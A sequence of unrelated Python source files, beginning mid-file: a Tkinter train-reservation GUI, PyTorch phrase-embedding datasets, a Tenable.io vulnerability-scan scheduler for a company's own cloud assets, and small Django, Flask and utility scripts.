LogOut=Button(self.ManFunctionality, text="Log Out", command=self.LogOutMan) LogOut.grid(row=4, column=1, sticky=EW) def ViewRevenueReport(self): if self.trackManFunc==1: self.ViewPopularRouteRep.withdraw() self.ManFunctionality.withdraw() else: self.ManFunctionality.withdraw() self.ViewRevenueRep = Toplevel(rootWin) ViewREvLab=Label(self.ViewRevenueRep, text="View Revenue Report") ViewREvLab.grid(row=1, column=1, columnspan = 8, sticky=EW) MonLab=Label(self.ViewRevenueRep, text="Month ") MonLab.grid(row=2, column=1, sticky=W) RevLab=Label(self.ViewRevenueRep, text="Revenue ") RevLab.grid(row=2, column=2, sticky=W) self.Connect() cursor = self.db.cursor() sql_getReport = '''SELECT * FROM ( SELECT MONTH , SUM( Price ) AS TotalRevenue FROM revenuetable WHERE MONTH = EXTRACT( MONTH FROM CURDATE( ) ) -3 GROUP BY MONTH )DummyName1 UNION SELECT * FROM ( SELECT MONTH , SUM( Price ) AS TotalRevenue FROM revenuetable WHERE MONTH = EXTRACT( MONTH FROM CURDATE( ) ) -2 GROUP BY MONTH )DummyName2 UNION SELECT * FROM ( SELECT MONTH , SUM( Price ) AS TotalRevenue FROM revenuetable WHERE MONTH = EXTRACT( MONTH FROM CURDATE( ) ) -1 GROUP BY MONTH )DummyName3''' cursor.execute(sql_getReport) monthrev = [] for each in cursor: monthrev.append([each[0], each[1]]) for i in range(len(monthrev)): if monthrev[i][0] == 1: monthrev[i][0] = "January" elif monthrev[i][0] == 2: monthrev[i][0] = "February" elif monthrev[i][0] == 3: monthrev[i][0] = "March" for i in range(len(monthrev)): monthrev[i][1] = "$"+ str(monthrev[i][1]) for i in range(len(monthrev)): monthport = Label(self.ViewRevenueRep, text = monthrev[i][0]) monthport.grid(row=3+i, column = 1, sticky = W) revport = Label(self.ViewRevenueRep, text = monthrev[i][1]) revport.grid(row=3+i, column = 2, sticky = W) Back=Button(self.ViewRevenueRep, text="Back", command=self.backmanager) Back.grid(row=3+len(monthrev), column=1, columnspan = 8, sticky=EW) def backmanager(self): self.ViewRevenueRep.withdraw() self.trackManFunc=1 self.ManagerFunc() def ViewPopularRouteReport(self): if self.trackManFunc==1: self.ViewRevenueRep.withdraw() self.ManFunctionality.withdraw() else: self.ManFunctionality.withdraw() self.ViewPopularRouteRep = Toplevel(rootWin) self.Connect() cursor = self.db.cursor() sql_getpopRoute = '''SELECT * FROM ( SELECT EXTRACT( MONTH FROM DepartureDate) AS MONTH , TrainNumber, COUNT( ReservationID ) AS NumRes FROM ReserveTrain WHERE EXTRACT( MONTH FROM DepartureDate ) = EXTRACT( MONTH FROM CURDATE() )-3 GROUP BY MONTH , TrainNumber ORDER BY NumRes DESC LIMIT 3 )DUMMY_ALIAS1 UNION SELECT * FROM ( SELECT EXTRACT( MONTH FROM DepartureDate ) AS MONTH , TrainNumber, COUNT( ReservationID ) AS NumRes FROM ReserveTrain WHERE EXTRACT( MONTH FROM DepartureDate ) = EXTRACT( MONTH FROM CURDATE() )-2 GROUP BY MONTH , TrainNumber ORDER BY NumRes DESC LIMIT 3 )DUMMY_ALIAS2 UNION SELECT * FROM ( SELECT EXTRACT( MONTH FROM DepartureDate ) AS MONTH , TrainNumber, COUNT( ReservationID ) AS NumRes FROM ReserveTrain WHERE EXTRACT( MONTH FROM DepartureDate ) = EXTRACT( MONTH FROM CURDATE() )-1 GROUP BY MONTH , TrainNumber ORDER BY NumRes DESC LIMIT 3 )DUMMY_ALIAS3''' routerep = [] cursor.execute(sql_getpopRoute) for each in cursor: routerep.append([each[0], each[1], each[2]]) # Month, TrainNumber, # Reservation viewpop = Label(self.ViewPopularRouteRep, text = "View Popular Route Report") viewpop.grid(row = 1, columnspan = 8, sticky = EW) monthlablab = Label(self.ViewPopularRouteRep, text = "Month") monthlablab.grid(row = 2, column = 1, sticky = W) trainnumlab = Label(self.ViewPopularRouteRep, text = "Train number") trainnumlab.grid(row = 2, column = 2, sticky = W) numres = Label(self.ViewPopularRouteRep, text = "# of Reservations") numres.grid(row = 2, column = 3, sticky = W) monthneed = [] for i in range(len(routerep)): if routerep[i][0] not in monthneed: if routerep[i][0] == 1: monthneed.append(1) elif routerep[i][0] == 2: monthneed.append(2) elif routerep[i][0] == 3: monthneed.append(3) monthtext = [] for i in range(len(monthneed)): if monthneed[i] == 1: monthtext.append("January") elif monthneed[i] == 2: monthtext.append("February") elif monthneed[i] == 3: monthtext.append("March") janmonthlab = Label(self.ViewPopularRouteRep,text = monthtext[0]) janmonthlab.grid(row = 3, column = 1, sticky = W) febmonthlab = Label(self.ViewPopularRouteRep,text = monthtext[1]) febmonthlab.grid(row=6, column = 1, sticky = W) marmonthlab = Label(self.ViewPopularRouteRep,text = monthtext[2]) marmonthlab.grid(row = 9, column = 1, sticky = W) for i in range(len(routerep)): trainnumlabs = Label(self.ViewPopularRouteRep,text = routerep[i][1]) trainnumlabs.grid(row=i+3, column = 2, sticky = EW) revnumlab = Label(self.ViewPopularRouteRep,text = routerep[i][2]) revnumlab.grid(row=i+3, column = 3, sticky = EW) back = Button(self.ViewPopularRouteRep,text = "Back", command = self.backpoproute) back.grid(row = len(routerep) + 8, column = 2, sticky = W) def backpoproute(self): self.ViewPopularRouteRep.withdraw() self.trackManFunc=1 self.ManagerFunc() def LogOutMan(self): self.ManFunctionality.withdraw() rootWin.deiconify() self.userEntry.delete(0,'end') self.passEntry.delete(0,'end') def LogOutCust(self): self.chofunc.withdraw() rootWin.deiconify() self.userEntry.delete(0,'end') self.passEntry.delete(0,'end') rootWin = Tk() app = Phase3(rootWin) rootWin.mainloop()
from abc import ABC, abstractmethod from torch.utils.data import Dataset import torch.nn.functional as F from sklearn.preprocessing import LabelEncoder import pandas import torch from torch import nn import somajo import numpy as np from utils import BertExtractor, StaticEmbeddingExtractor def create_label_encoder(all_labels): label_encoder = LabelEncoder() label_encoder.fit(all_labels) return label_encoder def extract_all_labels(training_data, validation_data, test_data, separator, label): training_labels = set(pandas.read_csv(training_data, delimiter=separator, index_col=False)[label]) validation_labels = set(pandas.read_csv(validation_data, delimiter=separator, index_col=False)[label]) test_labels = set(pandas.read_csv(test_data, delimiter=separator, index_col=False)[label]) all_labels = list(training_labels.union(validation_labels).union(test_labels)) return all_labels def extract_all_words(training_data, validation_data, test_data, separator, modifier, head, phrase): training_labels = set(pandas.read_csv(training_data, delimiter=separator, index_col=False)[modifier]).union( set(pandas.read_csv(training_data, delimiter=separator, index_col=False)[head])).union( set(pandas.read_csv(training_data, delimiter=separator, index_col=False)[phrase])) validation_labels = set(pandas.read_csv(validation_data, delimiter=separator, index_col=False)[modifier]).union( set(pandas.read_csv(validation_data, delimiter=separator, index_col=False)[head])).union( set(pandas.read_csv(validation_data, delimiter=separator, index_col=False)[phrase])) test_labels = set(pandas.read_csv(test_data, delimiter=separator, index_col=False)[modifier]).union( set(pandas.read_csv(test_data, delimiter=separator, index_col=False)[head])).union( set(pandas.read_csv(test_data, delimiter=separator, index_col=False)[phrase])) all_labels = list(training_labels.union(validation_labels).union(test_labels)) return all_labels class SimplePhraseDataset(ABC, Dataset): def __init__(self, data_path, label_encoder, separator, phrase, label): self._label = label self._data = pandas.read_csv(data_path, delimiter=separator, index_col=False) self._label_encoder = label_encoder self._phrases = list(self.data[phrase]) self._labels = list(self.data[label]) self._labels = label_encoder.transform(self.labels) self._word1 = [phrase.split(" ")[0] for phrase in self.phrases] self._word2 = [phrase.split(" ")[1] for phrase in self.phrases] self._samples = [] @abstractmethod def lookup_embedding(self, words): return @abstractmethod def populate_samples(self): return def __len__(self): return len(self.data) def __getitem__(self, idx): return self.samples[idx] @property def data(self): return self._data @property def phrases(self): return self._phrases @property def labels(self): return self._labels @property def word1(self): return self._word1 @property def word2(self): return self._word2 @property def samples(self): return self._samples @property def label_encoder(self): return self._label_encoder @property def label(self): return self._label class SimplePhraseContextualizedDataset(SimplePhraseDataset): """ This class defines a specific dataset used to classify two-word phrases. It expects the csv dataset to have a column containing a sentence, a column containing the phrase (first and second word separated with white space), a column containing a label. The names of the corresponding columns can be specified. """ def __init__(self, data_path, label_encoder, bert_model, max_len, lower_case, batch_size, separator, phrase, label, context): """ :param data_path: [String] The path to the csv datafile that needs to be transformed into a dataset. :param bert_model: [String] The Bert model to be used for extracting the contextualized embeddings :param max_len: [int] the maximum length of word pieces (can be a large number) :param lower_case: [boolean] Whether the tokenizer should lower case words or not :param separator: [String] the csv separator :param phrase: [String] the label of the column the phrase is stored in :param label: [String] the label of the column the class label is stored in :param context: [String] the label of the column the context sentence is stored in """ self._feature_extractor = BertExtractor(bert_model=bert_model, max_len=max_len, lower_case=lower_case, batch_size=batch_size) super(SimplePhraseContextualizedDataset, self).__init__(data_path, label_encoder, label=label, phrase=phrase, separator=separator) self._sentences = list(self.data[context]) self._samples = self.populate_samples() def lookup_embedding(self, words): return self.feature_extractor.get_single_word_representations(sentences=self.sentences, target_words=words) def populate_samples(self): word1_embeddings = self.lookup_embedding(self.word1) word2_embeddings = self.lookup_embedding(self.word2) return [{"w1": word1_embeddings[i], "w2": word2_embeddings[i], "l": self.labels[i]} for i in range(len(self.labels))] @property def feature_extractor(self): return self._feature_extractor @property def sentences(self): return self._sentences class SimplePhraseStaticDataset(SimplePhraseDataset): """ This class defines a specific dataset used to classify two-word phrases. It expects the csv dataset to have a column containing a sentence, a column containing the phrase (first and second word separated with white space), a column containing a label. The names of the corresponding columns can be specified. """ def __init__(self, data_path, label_encoder, embedding_path, separator, phrase, label): """ :param data_path: [String] The path to the csv datafile that needs to be transformed into a dataset. :param embedding_path: [String] the path to the pretrained embeddings :param separator: [String] the csv separator :param phrase: [String] the label of the column the phrase is stored in :param label: [String]the label of the column the class label is stored in """ self._feature_extractor = StaticEmbeddingExtractor(path_to_embeddings=embedding_path) super(SimplePhraseStaticDataset, self).__init__(data_path, label_encoder, label=label, phrase=phrase, separator=separator) self._samples = self.populate_samples() def lookup_embedding(self, words): return self.feature_extractor.get_array_embeddings(array_words=words) def populate_samples(self): word1_embeddings = self.lookup_embedding(self.word1) word2_embeddings = self.lookup_embedding(self.word2) return [{"w1": word1_embeddings[i], "w2": word2_embeddings[i], "l": self.labels[i]} for i in range(len(self.labels))] @property def feature_extractor(self): return self._feature_extractor class PhraseAndContextDatasetStatic(SimplePhraseDataset): """ This class defines a specific dataset used to classify two-word phrases with additional context or a longer phrase. It expects the csv dataset to have a column containing a sentence, a column containing the phrase (first and second word separated with white space), a column containing a label. The names of the corresponding columns can be specified. """ def __init__(self, data_path, label_encoder, embedding_path, tokenizer_model, separator, phrase, context, label): """ :param data_path: [String] The path to the csv datafile that needs to be transformed into a dataset. :param embedding_path: [String] the path to the pretrained embeddings :param tokenizer_model: [String] Uses the Somajo tokenizer for tokenization. Defines the Tokenizer model that should be used. :param separator: [String] the csv separator (Default = tab) :param phrase: [String] the label of the column the phrase is stored in :param context: [String]the label of the column the sentences :param label: [String]the label of the column the class label is stored in """ self._feature_extractor = StaticEmbeddingExtractor(path_to_embeddings=embedding_path) super(PhraseAndContextDatasetStatic, self).__init__(data_path, label_encoder, label=label, phrase=phrase, separator=separator) self._sentences = list(self.data[context]) self._tokenizer = somajo.SoMaJo(tokenizer_model, split_camel_case=True, split_sentences=False) self._sentences = self.tokenizer.tokenize_text(self.sentences) self._sentences = [[token.text for token in sent] for sent in self.sentences] self._samples = self.populate_samples() def lookup_embedding(self, words): return self.feature_extractor.get_array_embeddings(array_words=words) def populate_samples(self): """ Looks up the embedding for each word in the phrase. For each sentence it looks up the word embeddings an creates a tensor with the corresponding word embeddings. This tensor is then padded to the length of the longest sentence in the dataset. So the tensor for each sentence contains the same number of word embeddings, padded with zero embeddings at the end. """ word1_embeddings = self.lookup_embedding(self.word1) word2_embeddings = self.lookup_embedding(self.word2) # a list of torch tensors, each torch tensor with size seqlen x emb dim sequences = [torch.tensor(self.lookup_embedding(sent)).float() for sent in self.sentences] # pad all sequences such that they have embeddings wit 0.0 at the end, the max len is equal to the longest seq sequences = nn.utils.rnn.pad_sequence(batch_first=True, sequences=sequences, padding_value=0.0) sequence_lengths = np.array([len(words) for words in self.sentences]) return [{"w1": word1_embeddings[i], "w2": word2_embeddings[i], "seq": sequences[i], "seq_lengths": sequence_lengths[i], "l": self.labels[i]} for i in range(len(self.labels))] @property def feature_extractor(self): return self._feature_extractor @property def sentences(self): return self._sentences @property def tokenizer(self): return self._tokenizer class PhraseAndContextDatasetBert(SimplePhraseDataset): """ This class defines a specific dataset used to classify two-word phrases with additional context or a longer phrase. It expects the csv dataset to have a column containing a sentence, a column containing the phrase (first and second word separated with white space), a column containing a label. The names of the corresponding columns can be specified. It uses contextualized Bert embeddings. """ def __init__(self, data_path, label_encoder, bert_model, max_len, lower_case, batch_size, tokenizer_model, separator, phrase, context, label): """ :param data_path: [String] The path to the csv datafile that needs to be transformed into a dataset. :param bert_model: [String] The Bert model to be used for extracting the contextualized embeddings :param max_len: [int] the maximum length of word pieces (can be a large number) :param lower_case: [boolean] Whether the tokenizer should lower case words or not :param separator: [String] the csv separator :param tokenizer_model: [String] Uses the Somajo tokenizer for tokenization. Defines the Tokenizer model that should be used. :param phrase: [String] the label of the column the phrase is stored in :param label: [String] the label of the column the class label is stored in :param context: [String] the label of the column the context sentence is stored in """ self._feature_extractor = BertExtractor(bert_model=bert_model, max_len=max_len, lower_case=lower_case, batch_size=batch_size) super(PhraseAndContextDatasetBert, self).__init__(data_path, label_encoder, label=label, phrase=phrase, separator=separator) self._sentences = list(self.data[context]) self._tokenizer = somajo.SoMaJo(tokenizer_model, split_camel_case=True, split_sentences=False) self._sentences = self.tokenizer.tokenize_text(self.sentences) self._sentences = [[token.text for token in sent] for sent in self.sentences] self._samples = self.populate_samples() def lookup_embedding(self, words): return self.feature_extractor.get_single_word_representations(sentences=self.sentences, target_words=words) def lookup_sequence(self, sentences, words): return self.feature_extractor.get_single_word_representations(sentences=sentences, target_words=words) def populate_samples(self): """ Looks up the embedding for each word in the phrase. For each sentence it looks up the word embeddings an creates a tensor with the corresponding word embeddings. This tensor is then padded to the length of the longest sentence in the dataset. So the tensor for each sentence contains the same number of word embeddings, padded with zero embeddings at the end. """ word1_embeddings = self.lookup_embedding(self.word1) word2_embeddings = self.lookup_embedding(self.word2) # a list of torch tensors, each torch tensor with size seqlen x emb dim sequences = [] for sent in self.sentences: string_sent = " ".join(sent) context_sents = len(sent) * [string_sent] sequences.append(torch.tensor(self.lookup_sequence(context_sents, sent)).float()) # pad all sequences such that they have embeddings wit 0.0 at the end, the max len is equal to the longest seq sequences = nn.utils.rnn.pad_sequence(batch_first=True, sequences=sequences, padding_value=0.0) sequence_lengths = np.array([len(words) for words in self.sentences]) return [{"w1": word1_embeddings[i], "w2": word2_embeddings[i], "seq": sequences[i], "seq_lengths": sequence_lengths[i], "l": self.labels[i]} for i in range(len(self.labels))] @property def feature_extractor(self): return self._feature_extractor @property def sentences(self): return self._sentences @property def tokenizer(self): return self._tokenizer class StaticRankingDataset(Dataset): def __init__(self, data_path, embedding_path, separator, mod, head, phrase): """ This datasets can be used to pretrain a composition model on a reconstruction task :param data_path: the path to the dataset, should have a header :param embedding_path: the path to the pretrained static word embeddings :param separator: the separator within the dataset (default = whitespace) :param mod: the name of the column holding the modifier words :param head: the name of the column holding the head words :param phrase: the name of the column holding the phrases """ self._data = pandas.read_csv(data_path, delimiter=separator, index_col=False) self._modifier_words = list(self.data[mod]) self._head_words = list(self.data[head]) self._phrases = list(self.data[phrase]) assert len(self.modifier_words) == len(self.head_words) == len( self.phrases), "invalid input data, different lenghts" self._feature_extractor = StaticEmbeddingExtractor(path_to_embeddings=embedding_path) self._samples = self.populate_samples() def lookup_embedding(self, words): return self.feature_extractor.get_array_embeddings(array_words=words) def populate_samples(self): """ Looks up the embeddings for all modifier, heads and phrases and stores them in a dictionary :return: List of dictionary objects, each storing the modifier, head and phrase embeddings (w1, w2, l) """ word1_embeddings = self.lookup_embedding(self.modifier_words) word2_embeddings = self.lookup_embedding(self.head_words) label_embeddings = self.lookup_embedding(self.phrases) return [ {"w1": word1_embeddings[i], "w2": word2_embeddings[i], "l": label_embeddings[i], "label": self.phrases[i]} for i in range(len(self.phrases))] def __len__(self): return len(self.data) def __getitem__(self, idx): return self.samples[idx] @property def data(self): return self._data @property def modifier_words(self): return self._modifier_words @property def head_words(self): return self._head_words @property def phrases(self): return self._phrases @property def feature_extractor(self): return self._feature_extractor @property def samples(self): return self._samples class MultiRankingDataset(Dataset): """ This dataset can be used to combine two different dataset into one. The datasets need to be of the same type. """ def __init__(self, dataset_1, dataset_2): assert type(dataset_1) == type(dataset_2), "cannot combine two datasets of different types" self._dataset_1 = dataset_1 self._dataset_2 = dataset_2 def __len__(self): if len(self.dataset_2) < len(self.dataset_1): return len(self.dataset_2) return len(self.dataset_1) def __getitem__(self, idx): """Returns a batch for each dataset""" task1 = self.dataset_1[idx] task2 = self.dataset_2[idx] return task1, task2 @property def dataset_1(self): return self._dataset_1 @property def dataset_2(self): return self._dataset_2 class ContextualizedRankingDataset(Dataset): def __init__(self, data_path, bert_model, max_len, lower_case, batch_size, separator, mod, head, label, label_definition_path, context=None): """ This Dataset can be used to train a composition model with contextualized embeddings to create attribute-like representations :param data_path: [String] The path to the csv datafile that needs to be transformed into a dataset. :param bert_model: [String] The Bert model to be used for extracting the contextualized embeddings :param max_len: [int] the maximum length of word pieces (can be a large number) :param lower_case: [boolean] Whether the tokenizer should lower case words or not :param separator: [String] the csv separator :param label: [String] the label of the column the class label is stored in :param mod: [String] the label of the column the modifier is stored in :param head: [String] the label of the column the head is stored in :param label_definition_path: [String] path to the file that holds the definitions for the labels :param context: [String] if given, the dataset should contain a column with context sentences based on which the modifier and head words are contextualized """ self._data = pandas.read_csv(data_path, delimiter=separator, index_col=False) self._definitions = pandas.read_csv(label_definition_path, delimiter="\t", index_col=False) self._modifier_words = list(self.data[mod]) self._head_words = list(self.data[head]) if context: self._context_sentences = list(self.data[context]) else: self._context_sentences = [self.modifier_words[i] + " " + self.head_words[i] for i in range(len(self.data))] self._labels = list(self.data[label]) self._label2definition = dict(zip(list(self._definitions["label"]), list(self._definitions["definition"]))) self._label_definitions = [self._label2definition[l] for l in self.labels] assert len(self.modifier_words) == len(self.head_words) == len( self.context_sentences), "invalid input data, different lenghts" self._feature_extractor = BertExtractor(bert_model=bert_model, max_len=max_len, lower_case=lower_case, batch_size=batch_size) self._samples = self.populate_samples() def lookup_embedding(self, simple_phrases, target_words): return self.feature_extractor.get_single_word_representations(target_words=target_words, sentences=simple_phrases) def populate_samples(self): """ Looks up the embeddings for all modifier, heads and labels and stores them in a dictionary :return: List of dictionary objects, each storing the modifier, head and phrase embeddings (w1, w2, l) """ word1_embeddings = self.lookup_embedding(target_words=self.modifier_words, simple_phrases=self.context_sentences) word2_embeddings = self.lookup_embedding(target_words=self.head_words, simple_phrases=self.context_sentences) label_embeddings = self.lookup_embedding(target_words=self.labels, simple_phrases=self._label_definitions) word1_embeddings = F.normalize(word1_embeddings, p=2, dim=1) word2_embeddings = F.normalize(word2_embeddings, p=2, dim=1) label_embeddings = F.normalize(label_embeddings, p=2, dim=1) return [ {"w1": word1_embeddings[i], "w2": word2_embeddings[i], "l": label_embeddings[i], "label": self.labels[i]} for i in range(len(self.labels))] def __len__(self): return len(self.data) def __getitem__(self, idx): return self.samples[idx] @property def data(self): return self._data @property def modifier_words(self): return self._modifier_words @property def head_words(self): return self._head_words @property def context_sentences(self): return self._context_sentences @property def labels(self): return self._labels @property def feature_extractor(self): return self._feature_extractor @property def samples(self): return self._samples
# -*- coding: utf-8 -*- # __version__ = '0.1' import argparse import time import os import logging import configparser from datetime import datetime import CloudFlare from googleapiclient import discovery from oauth2client.client import GoogleCredentials import src.general as gen import src.tenable as tnb import src.gcp as gcp import src.cf as cf import src.aws as aws import src.linode as lin import src.others as others from google.cloud import resource_manager from linode_api4 import LinodeClient from tenable_io.client import TenableIOClient # General logging configuration log_file_time = time.strftime("%Y-%m-%d-%H-%M", time.gmtime()) log_file_name = "logs/" + log_file_time + "-tenable-scan.log" logfile = os.path.realpath(os.path.join(os.path.dirname(__file__), log_file_name)) print('All logs are stored in file - {0}'.format(logfile)) # create logger with 'spam_application' logger = logging.getLogger('tenable-script') logger.setLevel(logging.DEBUG) # create file handler which logs even debug messages fh = logging.FileHandler(logfile) fh.setLevel(logging.DEBUG) # create formatter and add it to the handlers formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') fh.setFormatter(formatter) # add the handlers to the logger logger.addHandler(fh) logger.info('######################################## START ########################################') def main(): """ Main func for automatic vulnerability scan by Tenable.io of Company GCP and Cloudflare resources :return: none """ parser = argparse.ArgumentParser(description='Provide all arguments for successful Vulnerability scan') parser.add_argument("-all", dest="tg_all", action="store_true", help="Scan All supported infrastructures") parser.add_argument("-cloudflare", dest="tg_cloudflare", action="store_true", help="Scan GCP infrastructure") parser.add_argument("-gcp", dest="tg_gcp", action="store_true", help="Scan Cloudflare infrastructure") parser.add_argument("-aws", dest="tg_aws", action="store_true", help="Scan AWS infrastructures") parser.add_argument("-linode", dest="tg_linode", action="store_true", help="Scan Linode infrastructures") parser.add_argument("-others", dest="tg_others", action="store_true", help="Scan rest of SaaS: DO, Linode, etc") parser.add_argument("-schedule", dest="tg_schedule", action="store_true", help="Schedule scans by Tenable.io") parser.set_defaults(tg_all=False) parser.set_defaults(tg_cloudflare=False) parser.set_defaults(tg_gcp=False) parser.set_defaults(tg_aws=False) parser.set_defaults(tg_linode=False) parser.set_defaults(tg_others=False) parser.set_defaults(tg_schedule=False) args = parser.parse_args() # Create dirs gen.create_dirs() # Set configuration file location main_script_abs = os.path.dirname(os.path.abspath(__file__)) settings_obj = configparser.ConfigParser() settings_obj.read(main_script_abs + '/conf/conf.cfg') # Initiate an instance of TenableIOClient. settings = settings_obj._sections.copy() tenable_client = TenableIOClient(access_key=settings['TENABLE.IO']['access_key'], secret_key=settings['TENABLE.IO']['secret_key']) logger.info('Successfully authenticated to Tenable.io') # Set scheduled scan time scan_time = datetime.now() # Set time delta if you need to launch scanning job right now if not args.tg_schedule: for section in settings.keys(): if 'time_delta' in settings[section].keys(): settings[section]['time_delta'] = 0 # Launch scan jobs in Tenable.io against GCP resources if args.tg_gcp or args.tg_all: # Set GCP credentials environment logger.info('Parsing google credentials and set ENV variables') gcp_api_key_json = settings_obj.get('GCP', 'gcp-api-key-json') # Set Service account env variable and form path to json file os.environ["GOOGLE_APPLICATION_CREDENTIALS"] = main_script_abs + gcp_api_key_json # Configure credentials for Google API authentication credentials = GoogleCredentials.get_application_default() compute = discovery.build('compute', 'v1', credentials=credentials) sql = discovery.build('sqladmin', 'v1beta4', credentials=credentials) logger.info('Successfully authenticated to GCP services') # Get list of all projects via GCP Resource manager resource_client = resource_manager.Client() projects_list = list(resource_client.list_projects()) logger.info('Successfully extracted list GCP projects and public IP addresses') # Retrieve all GCP organization public IP address target_ip_addresses = gcp.get_organization_public_ip(compute, sql, projects_list) # # In case you need to read from local copy of saved projects # target_ip_addresses = gen.read_json_file('json/20181006T104414-gcp_addresses.json') logger.info('Trying to create scan jobs in Tenable.io for all GCP projects') # Launch scan against GCP resources scan_time = tnb.create_tenable_scan(scan_target='TENABLE_GCP_SCAN', client=tenable_client, target=target_ip_addresses, settings=settings, logger=logger, scan_time=scan_time) logger.info('Successfully created scan jobs in Tenable.io') if args.tg_cloudflare or args.tg_all: # Parse CF credentials environment logger.info('Parsing Cloudflare credentials') cf_email = settings_obj.get('CLOUDFLARE', 'cf_email') cf_api_key = settings_obj.get('CLOUDFLARE', 'cf_api_key') # Create Cloudflare connection object cf_client = CloudFlare.CloudFlare(email=cf_email, token=cf_api_key) # Create targets for scanning job target_hostnames = cf.get_cf_website_dns(cf_client=cf_client) # # Test purposes (comment please when test will be finished) # target_hostnames = gen.read_json_file('json/20181005T185623-cf_addresses.json') # scan_time += timedelta(hours=90) cf.create_firewall_access_rule(cf_client=cf_client, settings=settings, zones=target_hostnames) scan_time = tnb.create_tenable_scan(scan_target='TENABLE_CF_SCAN', client=tenable_client, target=target_hostnames, settings=settings, logger=logger, scan_time=scan_time) if args.tg_aws or args.tg_all: # Create Cloudflare connection object target_assets = aws.get_tenables_assets(client=tenable_client) scan_time = tnb.create_tenable_scan(scan_target='TENABLE_AWS_SCAN', client=tenable_client, target=target_assets, settings=settings, logger=logger, scan_time=scan_time) if args.tg_linode or args.tg_all: # Get Linode targets linode_client = LinodeClient(settings['LINODE']['lin_api_key']) linode_targets = lin.get_linode_targets(client=linode_client) scan_time = tnb.create_tenable_scan(scan_target='TENABLE_LINODE_SCAN', client=tenable_client, target=linode_targets, settings=settings, logger=logger, scan_time=scan_time) if args.tg_others or args.tg_all: # Launch scan of Other targets target_assets = others.prepare_other_targets(settings['TENABLE_OTHERS_SCAN']) scan_time = tnb.create_tenable_scan(scan_target='TENABLE_OTHERS_SCAN', client=tenable_client, target=target_assets, settings=settings, logger=logger, scan_time=scan_time) logger.info('Vulnerability scan will be finished at {0}'.format(scan_time.strftime('%Y%m%dT%H%M%S'))) logger.info('######################################## END ########################################') if __name__ == '__main__': main()
# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2018-01-19 16:46 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='proyecto', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('Titulo', models.CharField(max_length=255)), ('Resumen', models.TextField()), ('Palabras_Claves', models.TextField()), ('Tipo', models.CharField(max_length=255)), ('LineaInvestigacion', models.CharField(max_length=255)), ('Documentos', models.FileField(null=True, upload_to='proyecto/')), ('uploaded_at', models.DateTimeField(auto_now_add=True)), ], options={ 'permissions': (('ver_Proyectos', 'ver Proyectos'),), }, ), ]
from flask import redirect, render_template, request, url_for, session, abort from app.models.configuracion import Configuracion from app.helpers.auth import authenticated, tiene_permiso def update(): """Actualiza configuracion de sitio""" if not authenticated(session) or not tiene_permiso(session, "configuracion_update"): abort(401) sitio = Configuracion().sitio() return render_template("configuracion/update.html", sitio=sitio) def show(): """muestra configuracion de sitio""" if not authenticated(session) or not tiene_permiso(session, "configuracion_show"): abort(401) sitio = Configuracion().sitio() return render_template("configuracion/show.html", sitio=sitio) def edit(): """Muestra formulario de edicion de la configuracion de sitio""" if not authenticated(session) or not tiene_permiso(session, "configuracion_update"): abort(401) Configuracion().edit(formulario=request.form) sitio = Configuracion().sitio() return render_template("configuracion/show.html", sitio=sitio)
# coding: utf-8 from . import utils def backup(archive): utils.archive_dirs(archive, "/etc/fuel", "version") def restore(archive): utils.extract_tag_to(archive, "version", "/etc/fuel/")
from django.db import models from django.utils.functional import cached_property from django.utils.translation import ugettext_lazy as _ from Lunchbreak.mixins import CleanModelMixin from ..managers import StaffManager from ..mixins import NotifyModelMixin from .abstract_password import AbstractPassword class Staff(CleanModelMixin, AbstractPassword, NotifyModelMixin): class Meta: verbose_name = _('Personeel') verbose_name_plural = _('Personeel') def __str__(self): return '{store}: {name}'.format( store=self.store, name=self.name ) store = models.OneToOneField( 'lunch.Store', on_delete=models.CASCADE, null=True, blank=True, verbose_name=_('winkel'), help_text=_('Winkel.') ) email = models.EmailField( unique=True, verbose_name=_('e-mailadres'), help_text=_('E-mailadres.') ) first_name = models.CharField( max_length=191, verbose_name=_('voornaam'), help_text=_('Voornaam.') ) last_name = models.CharField( max_length=191, verbose_name=_('familienaam'), help_text=_('Familienaam.') ) gocardless = models.OneToOneField( 'django_gocardless.Merchant', on_delete=models.SET_NULL, null=True, blank=True, verbose_name=_('GoCardless account'), help_text=_('GoCardless account.') ) payconiq = models.OneToOneField( 'payconiq.Merchant', on_delete=models.SET_NULL, null=True, blank=True, verbose_name=_('Payconiq account'), help_text=_('Payconiq account.') ) objects = StaffManager() @cached_property def name(self): return '{first_name} {last_name}'.format( first_name=self.first_name, last_name=self.last_name ) @property def gocardless_ready(self): """Whether the store is ready to use GoCardless. Returns: True if the store has GoCardless enabled and has a confirmed GoCardless merchant linked. bool """ return self.store.gocardless_enabled \ and self.gocardless is not None \ and self.gocardless.confirmed @property def payconiq_ready(self): """Whether the store is ready go use Payconiq. Returns: True if the store has Payconiq enabled and has a Payconiq merchant linked. bool """ return self.store.payconiq_enabled \ and self.payconiq def save(self, *args, **kwargs): self.full_clean() super().save(*args, **kwargs) def clean_email(self): """User lowercase emails in the database to remove duplicates.""" if self.email is not None: self.email = self.email.lower()
"""Investing in Stock Good work! As a store manager, you’re also in charge of keeping track of your stock/inventory.""" prices = { "banana": 4, "apple": 2, "orange": 1.5, "pear": 3 } stock = { "banana": 6, "apple": 0, "orange": 32, "pear": 15 }
import numpy as np import sys def partition_labels(filepath, range_from, range_to, gap): for p in np.arange(range_from, range_to, gap): outFilePath = '{}.labels.{}'.format(filepath, p) with open(filepath, 'r') as in_handler, open(outFilePath+'.train', 'w') as out_handler\ , open(outFilePath+'.test', 'w') as out_handler_test: for ln in in_handler: wrtLn = '' wrtLn_test = '' nds = ln.strip().split(' ') if len(nds)<2: continue d_nd = nds[0] w_nd = nds[1] if np.random.rand()<p: wrtLn += d_nd+' '+w_nd+'\n' else: wrtLn_test += d_nd+' '+w_nd+'\n' out_handler.write(wrtLn) out_handler_test.write(wrtLn_test) if __name__=='__main__': if len(sys.argv)<5: print 'please input objective label file, range_from, range_to, gap' sys.exit(1) partition_labels(sys.argv[1], float(sys.argv[2]), float(sys.argv[3]), float(sys.argv[4]))
